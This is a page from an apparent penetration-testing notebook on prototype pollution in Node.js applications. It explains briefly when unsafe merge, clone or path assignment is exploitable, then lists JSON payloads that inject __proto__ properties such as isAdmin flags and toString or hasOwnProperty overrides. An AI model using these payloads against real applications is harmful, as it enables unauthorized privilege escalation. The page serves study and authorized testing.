🔮
P4n1cBook
  • 🏴‍☠️Welcome!
    • 🔮P4n1cBook
    • 📚Bookmarks
    • 🚨Licence and Disclaimer
  • Fundamentals
    • Starter Kit
      • Linux
      • PowerShell
      • Git
      • 💾Regex
      • Network Analysis
        • curl
        • tcpdump
        • Nmap
        • 🦈Wireshark
      • Metasploit
    • 🌐Network Protocols
      • ICMP
      • SSH
      • Telnet
      • DNS
      • FTP
      • HTTP/HTTPS
      • SMB
      • SNMP
      • SMTP
      • NFS
      • IPP
      • WinRM
      • LLMNR
      • JDWP
    • Code
      • Python Essentials
      • C & C++
    • Web APIs
      • GraphQL
    • Shells/TTYs
    • Dorks
    • Cryptography
    • Reverse Engineering
      • GDB
      • Binaries
  • Web Exploitation
    • Web Enumeration
      • User Endpoints
      • Web Fuzzing
        • ffuf
        • feroxbuster
        • Gobuster
        • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • Werkzeug
      • Databases
        • MySQL
        • NoSQL
          • MongoDB
          • Redis
      • Web Services/Frameworks
        • Wordpress
        • Laravel
        • Express
        • Magento
        • AIOHTTP
        • HashiCorp Vault
        • Tiny File Manager
        • Joomla
        • CMS Made Simple
        • 🌵Cacti
        • Tomcat
        • Zabbix
        • OpenNetAdmin
        • ImageMagick
    • Vulnerabilities
      • Arbitrary File Read
      • Session Hijacking
      • SSRF
      • Eval Injection
      • Template Manipulation
      • Path Traversal
      • Prototype Pollution
      • XXE
      • Deserialization
      • Log Poisoning
      • Arbitrary Command Execution
      • SQLi
        • SQLmap
      • SSI
      • SSTI
      • LFI
      • XSS
    • Java-based web application
      • Struts
      • .WAR
      • pd4ml.jar
  • Cloud Exploitation
    • Kubernetes
    • AWS
  • Post Exploitation
    • File Transfer
      • Exfiltration
    • Credential Dumping
      • Thunderbird
    • Lateral Movement
    • Persistence
    • Linux Privilege Escalation
      • Static Binaries
      • Enumeration
      • Hijacks
      • Command Injection
      • Jailbreaks
      • Binary Exploitation - Linux
      • Kernel Exploits
      • Buffer Overflow - Linux
      • Docker
      • Abusing Wildcards
  • Wireless Exploitation
    • NFC
Powered by GitBook
On this page
Edit on GitHub
  1. Web Exploitation
  2. Vulnerabilities

Prototype Pollution

Affects Node.js

Prototype pollution happens at some unsafe merge, clone, extend and path assignment operations on malicious JSON objects.

  • This is exploitable only if any of the following three happens:

    • Object recursive merge

    • Property definition by path

    • Object clone

  • Some of the most popular libraries being affected are lodash and Hoek

  • Templates are a good target for prototype pollution.


Payloads

  • The most straightforward example of prototype pollution involves injecting the __proto__ property, which affects all objects that inherit from Object.prototype.

  • This example adds the isUserAdmin property to the prototype chain:

{
  "__proto__": {
    "isUserAdmin": true
  }
}
  • Also, you can directly manipulate the Object.prototype by modifying the __proto__ property. This could be done in objects passed to vulnerable code:

{
  "__proto__": {
    "toString": "malicious code"
  }
}
  • If the application allows you to define properties via paths (e.g., obj.a.b):

{
  "a.b.__proto__.isHacked": true
}
  • The constructor property is part of the prototype chain for JavaScript objects:

{
  "__proto__.constructor": "MaliciousFunction"
}
  • The hasOwnProperty method is often used to check if an object has a property, but it can be overridden in the prototype:

{
  "__proto__.hasOwnProperty": false
}
  • If an attacker can manipulate built-in objects' prototypes (like Array.prototype or Function.prototype), they could affect the behavior of all instances of those types:

{
  "__proto__.length": 1000
}
  • If the application uses a templating engine and allows user input to be rendered without sanitization, an attacker might inject a prototype pollution payload directly via the template:

{
  "__proto__": {
    "isAdmin": true
  }
}
  • You can directly inject properties into the prototype of custom classes or objects:

{
  "customObjectPrototype.isHacked": true
}

PreviousPath TraversalNextXXE

Last updated 5 months ago